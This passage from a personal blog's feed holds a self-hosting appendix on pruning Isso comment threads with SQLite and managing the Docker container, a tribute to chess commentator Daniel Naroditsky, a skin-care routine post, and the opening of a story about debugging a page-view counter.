</span></span><span style="display:flex;"><span>sqlite3 <span style="color:#e6db74">&#34;</span>$DB<span style="color:#e6db74">&#34;</span> <span style="color:#e6db74">&#34;SELECT id, uri FROM threads WHERE uri LIKE &#39;%&#39; || &#39;</span>$POST_URI<span style="color:#e6db74">&#39; || &#39;%&#39;;&#34;</span>
</span></span><span style="display:flex;"><span>sqlite3 <span style="color:#e6db74">&#34;</span>$DB<span style="color:#e6db74">&#34;</span> <span style="color:#e6db74">&#34;DELETE FROM comments WHERE tid IN (SELECT id FROM threads WHERE uri LIKE &#39;%&#39; || &#39;</span>$POST_URI<span style="color:#e6db74">&#39; || &#39;%&#39;);&#34;</span>
</span></span><span style="display:flex;"><span>sqlite3 <span style="color:#e6db74">&#34;</span>$DB<span style="color:#e6db74">&#34;</span> <span style="color:#e6db74">&#34;DELETE FROM threads WHERE uri LIKE &#39;%&#39; || &#39;</span>$POST_URI<span style="color:#e6db74">&#39; || &#39;%&#39;; VACUUM;&#34;</span>
</span></span><span style="display:flex;"><span>exit
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Optionally restart the container:</span>
</span></span><span style="display:flex;"><span>docker restart &lt;isso_container_name&gt;
</span></span></code></pre></div><hr>
<h2 id="notes--gotchas">Notes &amp; gotchas</h2>
<ul>
<li><strong>Find the real DB path</strong>: In <code>isso.conf</code> (often <code>/etc/isso/isso.conf</code> or within your container at <code>/config/isso.conf</code>), look for:
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-ini" data-lang="ini"><span style="display:flex;"><span><span style="color:#66d9ef">[general]</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">dbpath</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">/var/lib/isso/comments.db</span>
</span></span></code></pre></div></li>
<li><strong>What goes in <code>POST_URI</code>?</strong> Isso stores a <code>uri</code> string per thread. With the default embed config, it&rsquo;s usually the <strong>path</strong> (<code>/posts/&lt;slug&gt;/</code>). If you’re unsure, list recent threads:
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sqlite3 <span style="color:#e6db74">&#34;</span>$DB<span style="color:#e6db74">&#34;</span> <span style="color:#e6db74">&#34;.headers on&#34;</span> <span style="color:#e6db74">&#34;.mode column&#34;</span> <span style="color:#e6db74">&#34;SELECT id, uri FROM threads ORDER BY id DESC LIMIT 50;&#34;</span>
</span></span></code></pre></div></li>
<li><strong>Clearnet vs <code>.onion</code></strong>: If you load the same post under multiple origins <em>and</em> your embed setup stores full origins, you may have <strong>multiple thread rows</strong>. The <code>LIKE</code> query above deliberately matches any uri containing your <code>POST_URI</code> to catch those.</li>
<li><strong>Rollback</strong>: To undo, stop Isso (optional), replace the DB with your backup (<code>comments.YYYY-MM-DD-HHMMSS.backup.sqlite3</code>), and start Isso again.</li>
<li><strong>HTTP API option</strong>: Isso supports <code>DELETE /&lt;comment_id&gt;</code> if admin endpoints/auth are enabled. For bulk removal it’s simpler and safer to use SQLite directly.</li>
<li><strong>Safety</strong>: Always run a backup first, and <strong>preview with the SELECT</strong> before you run the DELETE.</li>
</ul>
<hr>
<h2 id="one-liners-for-the-impatient">One-liners for the impatient</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>DB<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;/var/lib/isso/comments.db&#34;</span>; POST_URI<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;/posts/skin_routine/&#34;</span>
</span></span><span style="display:flex;"><span>sqlite3 <span style="color:#e6db74">&#34;</span>$DB<span style="color:#e6db74">&#34;</span> <span style="color:#e6db74">&#34;.backup &#39;</span><span style="color:#66d9ef">$(</span>dirname <span style="color:#e6db74">&#34;</span>$DB<span style="color:#e6db74">&#34;</span><span style="color:#66d9ef">)</span><span style="color:#e6db74">/comments.</span><span style="color:#66d9ef">$(</span>date +%F-%H%M%S<span style="color:#66d9ef">)</span><span style="color:#e6db74">.backup.sqlite3&#39;&#34;</span>
</span></span><span style="display:flex;"><span>sqlite3 <span style="color:#e6db74">&#34;</span>$DB<span style="color:#e6db74">&#34;</span> <span style="color:#e6db74">&#34;DELETE FROM comments WHERE tid IN (SELECT id FROM threads WHERE uri LIKE &#39;%&#39; || &#39;</span>$POST_URI<span style="color:#e6db74">&#39; || &#39;%&#39;);&#34;</span>
</span></span><span style="display:flex;"><span>sqlite3 <span style="color:#e6db74">&#34;</span>$DB<span style="color:#e6db74">&#34;</span> <span style="color:#e6db74">&#34;DELETE FROM threads  WHERE uri LIKE &#39;%&#39; || &#39;</span>$POST_URI<span style="color:#e6db74">&#39; || &#39;%&#39;; VACUUM;&#34;</span>
</span></span></code></pre></div><hr>
<p><strong>Isso container: quick checks &amp; fixes for future me! (thank past me later ^^)</strong></p>
<p><strong>Find the container</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker ps -a --format <span style="color:#e6db74">&#39;table {{.ID}}	{{.Names}}	{{.Status}}	{{.Ports}}&#39;</span> | grep -i isso
</span></span></code></pre></div><p><strong>Inspect basic state</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker inspect -f <span style="color:#e6db74">&#39;Name={{.Name}}  Running={{.State.Running}}  Status={{.State.Status}}  StartedAt={{.State.StartedAt}}  FinishedAt={{.State.FinishedAt}}&#39;</span> isso
</span></span></code></pre></div><p><strong>Logs</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker logs --tail<span style="color:#f92672">=</span><span style="color:#ae81ff">200</span> isso
</span></span><span style="display:flex;"><span>docker logs -f isso
</span></span></code></pre></div><p><strong>Ports &amp; reachability</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker port isso
</span></span><span style="display:flex;"><span>sudo ss -ltnp | grep <span style="color:#e6db74">&#39;:8080 &#39;</span>
</span></span><span style="display:flex;"><span>curl -i http://127.0.0.1:8080/
</span></span></code></pre></div><p><strong>Restart policy (keep it running)</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker inspect -f <span style="color:#e6db74">&#39;{{.HostConfig.RestartPolicy.Name}}&#39;</span> isso
</span></span><span style="display:flex;"><span>docker update --restart unless-stopped isso
</span></span></code></pre></div><p><strong>Start/stop the container</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker start isso
</span></span><span style="display:flex;"><span>docker stop isso
</span></span></code></pre></div><p><strong>Who/what stopped it (events)</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker events --since 24h --filter container<span style="color:#f92672">=</span>isso
</span></span></code></pre></div><p><strong>Common config issue: duplicate options/sections</strong>
If logs show DuplicateOptionError or DuplicateSectionError, fix <code>/config/isso.cfg</code> (remove duplicate <code>[server]</code> blocks or duplicate <code>public-endpoint</code>).</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>nl -ba /config/isso.cfg | sed -n <span style="color:#e6db74">&#39;1,120p&#39;</span>
</span></span><span style="display:flex;"><span>grep -n <span style="color:#e6db74">&#39;^\[server\]&#39;</span> /config/isso.cfg
</span></span><span style="display:flex;"><span>grep -n <span style="color:#e6db74">&#39;^public-endpoint&#39;</span> /config/isso.cfg
</span></span></code></pre></div><p><strong>Using Docker Compose</strong> <em>(run these in the directory with your compose file)</em></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker compose ps
</span></span><span style="display:flex;"><span>docker compose logs --tail<span style="color:#f92672">=</span><span style="color:#ae81ff">200</span> isso
</span></span><span style="display:flex;"><span>docker compose up -d isso
</span></span></code></pre></div><p><strong>If the container doesn’t exist (create/recreate)</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker image ls | grep -i isso
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>docker run -d   --name isso   -p 8080:8080   -v /srv/isso/config:/config   -v /srv/isso/db:/db   --restart unless-stopped   ghcr.io/posativ/isso:latest
</span></span></code></pre></div><p><strong>Optional: exclude from auto-updaters (like Watchtower)</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker update --label-add com.centurylinklabs.watchtower.enable<span style="color:#f92672">=</span>false isso
</span></span></code></pre></div><p><em>This note is intentionally self-contained so I can paste it at the end of the blog post as a maintainer-only appendix.</em></p>
<hr>
<div class="signature-block" style="margin-top:1rem">
  <p><strong>Downloads:</strong>
    <a href="/sources/posts/new_features.md">Markdown</a> ·
    <a href="/sources/posts/new_features.md.asc">Signature (.asc)</a>
  </p><details class="signature">
    <summary>View OpenPGP signature</summary>
    <pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">-----BEGIN PGP SIGNATURE-----

iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuMACgkQtYgoUOBM
jSr2VxAAgdHpf&#43;4EIx2ASmSB&#43;MeAHp7s1&#43;2EPhmn96QuhiQO9Dr1e9250LbF/R8S
A0zcN8mmyOtKv2rediU6HsGy6ddwdTAtpQDRvMw2Xuk2pBUZaG5LuvlNgSse9zVB
dcG3GVLuMSRgNmyolhFoSWn46aa&#43;3wZGrzYZQVUt8op&#43;2fVp36agq2YoB4zeGKSm
Ri43rO/kTingD0bclOA&#43;SMbHpKQOcLyHwDlVrqIjVXcJ/kKLcm1G3Z5owo&#43;gB6jY
EMjxYiqyf5Zcbt4q/WzojbHLffjXoMzOgZ1sDOIObVQni9atgV49X4oIZ3&#43;xSXSH
W7ZbH6sg9LlrU8djddBXUKB0i72IVZ/4F5icVFUcK&#43;szOmASy8fFP7gCOcCRATtb
eNIFtiAlRXI0CqJdeq5fE9b&#43;LX8lRpNnX229tg7GFgddzYUmFkKAsoJ9EUzUvUHm
Xzqlm9DKy9LG/CeOxo473fIo4YCT2fcmMnt9nCZW4iDKOVl1nCupkTn5qsfNdpQM
KycaNwsLBHPZWV&#43;jDon8NEzYQk07n1Q9rlEWdL0egvn2S&#43;pYnvLZbfi5dRhe&#43;ciC
qcEW/I1NZZRdU7MUEzhWvhbWsZtTkm6OevXjnqACv91DIQv7tNrKwZuASnpFeDRa
GE0QYRrsaI3vCLR3cUmBAFsvZdwgzH0RQLb8w21XBW/BoFvixbA=
=9k&#43;S
-----END PGP SIGNATURE-----
</pre>
  </details><p><em>Verify locally:</em></p>
  <pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">curl -fSLO https://blog.alipour.eu/sources/posts/new_features.md
curl -fSLO https://blog.alipour.eu/sources/posts/new_features.md.asc
gpg --verify new_features.md.asc new_features.md
  </pre>
</div>


]]></content:encoded></item><item><title>Danya</title><link>https://blog.alipour.eu/posts/danya/</link><pubDate>Tue, 21 Oct 2025 08:41:58 +0000</pubDate><guid>https://blog.alipour.eu/posts/danya/</guid><description>A sad note about someone I knew in the online world.</description><content:encoded><![CDATA[<p>Daniel Naroditsky has passed away.
I&rsquo;ve never been a pro chess player, but I do follow some of the fun ones, and occasionally Magnus.
I like Fabi a lot, but my all-time favorite is Hikaru.
Danya was my favorite commentator.
Someone who was so fun to watch explaining complex positions.
I think he was indeed, if not the best, one of the best at it.</p>
<p>The occasion is grim.
However, let&rsquo;s remember the immense pressure he was under.
Let&rsquo;s remember how he was accused of cheating by Kramnik many, many times.
By a former world champion.
Someone who has accused many and has ruined their lives for no reason.
The likes of Hikaru!</p>
<p>The problem is that Hikaru kind of went out of his way and cast doubt on Hans in the past.
I don&rsquo;t know how to relate to any of these now.
I do think this is some stupid, sad consequence that these baseless accusations have.
All players have their exceptionally good days, and many many bad days.
These accusations make no sense.</p>
<p>I do think Danya went under so much pressure from these allegations, though.
I don&rsquo;t know if he ever cheated or not, but like, what&rsquo;s the point now?
He is gone.
He&rsquo;ll never be back.</p>
<p>I don&rsquo;t know what the cause was, but I hope he didn&rsquo;t take his own life.
I don&rsquo;t know how the world will ever forgive FIDE or Kramnik for this.
This bullying in plain sight is just brutal.</p>
<p>Rest in peace, Danya.
I don&rsquo;t think the community ever forgets your amazing commentaries, and what a vibrant and nice character you were.</p>
<hr>
<div class="signature-block" style="margin-top:1rem">
  <p><strong>Downloads:</strong>
    <a href="/sources/posts/danya.md">Markdown</a> ·
    <a href="/sources/posts/danya.md.asc">Signature (.asc)</a>
  </p><details class="signature">
    <summary>View OpenPGP signature</summary>
    <pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">-----BEGIN PGP SIGNATURE-----

iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt8ACgkQtYgoUOBM
jSpazRAAkvfyfZFtYRnSapnmBsWF&#43;f6Sj42Cy5T5PFq6C&#43;DdQdOq1VZjGComKjXv
YqD4dkiBNsFXehp/DLUXxh&#43;jvme1icBas5tZJooJX&#43;ykhlDflRRheyz3k/3fpVV2
fo48rh5vV3cn1zDUZA2&#43;XJ6I4FMFtUBCTVwtEVTCFNeut2CJzvUnCY3ocQDtBC2O
u6PH0hwDYvarj4RFEadIq2&#43;vfN9mSpgTmmoTm7rmKPtKXcZ8DYwS&#43;7tS8RZnYMX9
BpaFLH07aYgusamoSS51m6xCL1hSX3tq709bBCJT8/p7Mva/LmwWo3aUH6PqFCY2
eTnhxoMGldwPp4PKq3bGt6KrI2zN&#43;P4dTq7LWUdmrlHsxyLGaVhymG4XdrWYxG4c
9JhD3FFuNX6u3TMekt9I6BZMmNHX6RLl2Nka/ohXV&#43;1HyH/1flk/47szJXGZ6Gg&#43;
NEWWr1rkFZZWju2cVzjprquVbLbRlBuTiBvF3qSaPjhN6VH/XBFkXr8sv4/kSq6B
Gn8TtHsqrljhID2OBIv21R5SvtqA61pHzdC47Ie1mzvF4WupJjAA0ekPEBoRgc7X
xc7JMmK&#43;AHfIFgEwQUKfgFQ0w89qEUKZve5ThyXjok/9EnvygseomqwGV30DN0S8
zVuQEy3O7tkGShRjgnS&#43;T4QddXNk6ciGzEisIIxyFEzJ6P6KSr4=
=BEoA
-----END PGP SIGNATURE-----
</pre>
  </details><p><em>Verify locally:</em></p>
  <pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">curl -fSLO https://blog.alipour.eu/sources/posts/danya.md
curl -fSLO https://blog.alipour.eu/sources/posts/danya.md.asc
gpg --verify danya.md.asc danya.md
  </pre>
</div>


]]></content:encoded></item><item><title>Skin routine</title><link>https://blog.alipour.eu/posts/skin_routine/</link><pubDate>Mon, 20 Oct 2025 18:47:04 +0000</pubDate><guid>https://blog.alipour.eu/posts/skin_routine/</guid><description>My skin routine!</description><content:encoded><![CDATA[<p>I don&rsquo;t know how to answer the &ldquo;why?&rdquo; or &ldquo;whyyyyy?&rdquo; or even &ldquo;why the f***?&rdquo; I have a skin routine.
Last year, after I came to Germany, I asked a female friend about how to do skin care.
She touched my face and said, &ldquo;Knock on wood, you have good skin!&rdquo;.
So&hellip; idk why I decided to take extra care of my skin, but I did!</p>
<p>Generally speaking, things like this make me feel good about myself.
Like I&rsquo;m doing something positive while not being tortured!
It&rsquo;s always fun to rub cream on your face or gently massage it.
Even cleaning the face skin feels refreshing.
Everything also smells nice!</p>
<p>Oh&hellip; and yeah, idk why I&rsquo;m not good at excercising, but I really like to do things like this!
Weird.
I should definitely start going to the gym and working out.
It is needed for me.</p>
<p>So&hellip; I decided to watch a few Youtube videos, and a guide about skin care for men.
My routine is super simple!
I have a face cleanser that I use first and wash my face with it.
It always feels refreshing and nice to use it!
I initially bought the CeraVe cleaner, but switched to &ldquo;Jack Black Pure Clean Daily Facial Cleanser&rdquo; after that one ended.
The cleanser deeply cleans your skin, and almost all of the bad things that might be on your skin.
You don&rsquo;t need to use the cleanser in the morning, but you should definitely use it at night.
It&rsquo;s ok to wash your face with water in the morning.</p>
<p>The next step for me is applying the toner.
I use &ldquo;NIVEA Derma Skin Clear Toner&rdquo;.
It smells really nice and is quite refreshing to apply to the skin!
The toner adjusts the PH of your skin, and deep cleans things that the cleanser could not.
I gently rub it and let it dry; no rinsing is required here.</p>
<p>After this, I apply an exfoliant to exfoliate my skin.
I&rsquo;ve been using &ldquo;Paula&rsquo;s Choice Skin Perfecting 2% BHA Liquid Exfoliant&rdquo; so far, but this time I got &ldquo;BULLDOG Original Exfoliating Face Scrub for Purer Skin&rdquo;.
Haven&rsquo;t used it yet, but Paula&rsquo;s choice one is definitely good.
The thing with it is that you don&rsquo;t have to massage it; it&rsquo;s not physical; it&rsquo;s an acid.
I prefer the scrubby ones, but I think these are better for your skin.
I&rsquo;ll see how I like the new one, and if I prefer it or not.
No rinsing is required here either.</p>
<p>I then apply my eye cream, which is also from CeraVe.
Haven&rsquo;t really seen much of a difference under my eyes, but it is supposed to help.
I don&rsquo;t know! It feels good to apply the eye cream regardless.</p>
<p>The next step for me is the best one!
Moisturiser.
Yayy!!!
It actually feels weird to use a moisturiser since I&rsquo;ve watched Mortuary Assisant&rsquo;s gameplay, and the last step there for embalming the body is applying moisturiser.
Feels weird.
The one I use is water-based, hence perfect for men.
I use &ldquo;Neutrogena Hydro Boost Aqua Gel Moisturiser&rdquo;.
As a man, if you use oil-based products, you&rsquo;ll get acne.
So don&rsquo;t.</p>
<p>I learned to use pads for applying some of these stuff, it feels cooler when applying the things to your face, and it specifically feels good when you gently tap your face with a cotton pad! ^^</p>
<p>And&hellip; last but not least is applying sun screen.
Nothing special here.
I just make sure to use SPF 50+ sunscreen for better protection.</p>
<p>Even if it does nothing, it still makes me feel good about myself.</p>
<p>The whole routine does not take more than 10 min, but gives me an energy boost and a lot of good vibes both at night and in the morning!</p>
<hr>
<div class="signature-block" style="margin-top:1rem">
  <p><strong>Downloads:</strong>
    <a href="/sources/posts/skin_routine.md">Markdown</a> ·
    <a href="/sources/posts/skin_routine.md.asc">Signature (.asc)</a>
  </p><details class="signature">
    <summary>View OpenPGP signature</summary>
    <pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">-----BEGIN PGP SIGNATURE-----

iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuMACgkQtYgoUOBM
jSpuHQ//XvJ3YkPuPbDbaBf9PcLKftYmTRA2WWn14l1ZnLAav0MeEPVlwENAMQ5W
hwAwfw1yF1KxMwLcskXYTpghSfIHegDjaXJqWctBQFJ8sdCUJNQyk&#43;LTcJ1EXmED
HhZrZJw8UsFcgyLs56pbBsIjjFMI4PbFWPxLgPu&#43;tEpgIY8fSXzIb/gsUb/K3vZb
JsDUyLjHwsoCn9oQFp/hE54i3LjuWtPipnSlxmWUx7AhtZUVICCQJP3/KelhXQdi
2fPmTsVNIzRtCxjnwII6KZtqKtj1mEaIFmmykKIsRpyNIRvNjDFkCxor&#43;NAYKJmC
veUzhll/LpNDAnrMAZ8ykEyhInlIHFtsH8PKiWDUhhrP4eggLmnBBFYVHrZ36BU9
48pn5odcK1Pz37rHwQKqm8RgL5PC09s2XWo6BJZGUwHjMDq8Kxtswp5JrRsAlmmi
8yk4/W4ASJfrE5ns&#43;PSC24ogyNx/tu/2NiT5IlmpSilr5CGN9HhbfvXERM3OGHwF
MeTRc61McdgHDHvg0V1PdE4Pe/wLZgzKHu/H&#43;1E04P1uVHj102RXV7HFfYYDv59b
suCSlTj/j2dNZuwGaw8wG2U17nGng9XkCJ1J2xXKKUb2gqIpOHVPF3yRGBnZwvpX
1bPgM8l3ItO6T55D4Ala2glHtQnhJRmi9GcdI47GpNoc2PWWKrA=
=dBAx
-----END PGP SIGNATURE-----
</pre>
  </details><p><em>Verify locally:</em></p>
  <pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">curl -fSLO https://blog.alipour.eu/sources/posts/skin_routine.md
curl -fSLO https://blog.alipour.eu/sources/posts/skin_routine.md.asc
gpg --verify skin_routine.md.asc skin_routine.md
  </pre>
</div>


]]></content:encoded></item><item><title>A Tiny 'Views' Badge Sent Me Down a Rabbit Hole (PaperMod + Busuanzi + Debugging --> swapped with GoatCounter the GOAT)</title><link>https://blog.alipour.eu/posts/papermod-views-debugging-story/</link><pubDate>Sat, 18 Oct 2025 10:45:00 +0000</pubDate><guid>https://blog.alipour.eu/posts/papermod-views-debugging-story/</guid><description>I tried to add a simple &amp;lsquo;views&amp;rsquo; counter to my PaperMod blog. It worked—until it didn’t. Here’s the story of blank numbers, a mysterious Chinese message, and the final fix.</description><content:encoded><![CDATA[<p>I only wanted a tiny <strong>“views”</strong> badge next to my RSS link—just a friendly nudge that real humans were reading my words. PaperMod makes it easy to tuck little UI bits in the footer, so I dropped in Busuanzi (that neat, no-account page/site view counter) and called it a day.</p>
<p>The thing is, I don&rsquo;t think the counter even works correctly.
Or maybe I&rsquo;m undermining my blog popularity!
But regardless, it was a small stiching task that I did on this lovely Friday evening.
The day before my next term of German class starts.
The day before playing deadface CTF that I&rsquo;ve been counting days for.</p>
<h3 id="the-neat-footer-row">The neat footer row</h3>
<p>First I got the layout right. PaperMod supports extension partials, so I used a simple flex row to keep things side by side:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>&lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;site-meta-row&#34;</span> <span style="color:#a6e22e">style</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;display:flex;align-items:center;gap:.75rem;flex-wrap:wrap;&#34;</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;/index.xml&#34;</span> <span style="color:#a6e22e">rel</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;alternate&#34;</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;application/rss+xml&#34;</span> <span style="color:#a6e22e">title</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;RSS&#34;</span>
</span></span><span style="display:flex;"><span>     <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;rss-link&#34;</span> <span style="color:#a6e22e">style</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;display:inline-flex;align-items:center;gap:.35rem;&#34;</span>&gt;
</span></span><span style="display:flex;"><span>    { partial &#34;svg.html&#34; (dict &#34;name&#34; &#34;rss&#34;) }
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">span</span>&gt;RSS&lt;/<span style="color:#f92672">span</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;/<span style="color:#f92672">a</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">span</span> <span style="color:#a6e22e">aria-hidden</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;true&#34;</span>&gt;·&lt;/<span style="color:#f92672">span</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">span</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;busuanzi_container_site_pv&#34;</span>&gt;
</span></span><span style="display:flex;"><span>    Site views: &lt;<span style="color:#f92672">span</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;busuanzi_value_site_pv&#34;</span>&gt;—&lt;/<span style="color:#f92672">span</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;/<span style="color:#f92672">span</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">span</span> <span style="color:#a6e22e">aria-hidden</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;true&#34;</span>&gt;·&lt;/<span style="color:#f92672">span</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">span</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;busuanzi_container_site_uv&#34;</span>&gt;
</span></span><span style="display:flex;"><span>    Visitors: &lt;<span style="color:#f92672">span</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;busuanzi_value_site_uv&#34;</span>&gt;—&lt;/<span style="color:#f92672">span</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;/<span style="color:#f92672">span</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">div</span>&gt;
</span></span></code></pre></div><p>So far, so good. The labels showed up. The numbers, though? <strong>Nothing.</strong> Just an em dash. I shrugged—maybe it was a caching thing.</p>
<h3 id="the-first-round-of-checks">The first round of checks</h3>
<p>I added the script site‑wide in <code>layouts/partials/extend_head.html</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>&lt;<span style="color:#f92672">script</span> <span style="color:#a6e22e">src</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;//cdn.busuanzi.cc/busuanzi/3.6.9/busuanzi.min.js&#34;</span> <span style="color:#a6e22e">defer</span>&gt;&lt;/<span style="color:#f92672">script</span>&gt;
</span></span></code></pre></div><p>Refreshed. Still blank.</p>
<p><strong>DevTools time.</strong> Network tab: the script <strong>does</strong> load:</p>
<ul>
<li><strong>Request URL:</strong> <code>https://cdn.busuanzi.cc/busuanzi/3.6.9/busuanzi.min.js</code></li>
<li><strong>Request Method:</strong> GET</li>
<li><strong>Status Code:</strong> 304 Not Modified</li>
<li><strong>Referrer Policy:</strong> strict-origin-when-cross-origin</li>
<li><strong>User-Agent:</strong> a normal Chromium build (nothing exotic)</li>
</ul>
<p>No red flags. Just a perfectly normal 304.</p>
<p>Maybe my IDs were wrong? Busuanzi has a couple of flavors: <code>busuanzi_value_*</code> (with container wrappers) or shorthand like <code>busuanzi_site_pv</code>. I tried <strong>both</strong>, carefully, one at a time. Still… <strong>—</strong>.</p>
<h3 id="the-odd-message">The odd message</h3>
<p>Then it flashed for a moment—the Chinese line that made me google twice to be sure I saw it right:</p>
<blockquote>
<p><strong>“域名过长，已被禁用 views”</strong></p></blockquote>
<p>That’s “domain name too long, disabled.” Wait, what?</p>
<p>I checked my hostname: <strong><code>blog.alipourimjourneys.ir</code></strong>. I counted: <strong>27 characters</strong>. Busuanzi’s limit? <strong>22.</strong> Suddenly, everything clicked. The script loads, but the service refuses to count for long domains, so the placeholders never fill.</p>
<h3 id="two-ways-out">Two ways out</h3>
<p>At this point I had two clean options:</p>
<ol>
<li><strong>Keep Busuanzi</strong> and move the site to the <strong>apex domain</strong> (short enough).</li>
<li>Keep my beloved <code>blog.</code> subdomain and swap in <strong>Vercount</strong>, a Busuanzi‑style drop‑in without the 22‑char limit.</li>
</ol>
<p>I liked the subdomain (habit, mostly), so I tried <strong>Vercount</strong>.</p>
<h3 id="the-swap-five-minute-fix">The swap (five-minute fix)</h3>
<p>I removed the Busuanzi script and added Vercount instead:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span><span style="color:#75715e">&lt;!-- extend_head.html --&gt;</span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">script</span> <span style="color:#a6e22e">defer</span> <span style="color:#a6e22e">src</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;https://events.vercount.one/js&#34;</span>&gt;&lt;/<span style="color:#f92672">script</span>&gt;
</span></span></code></pre></div><p>I kept the same tidy footer row, but switched the IDs to Vercount’s:</p>
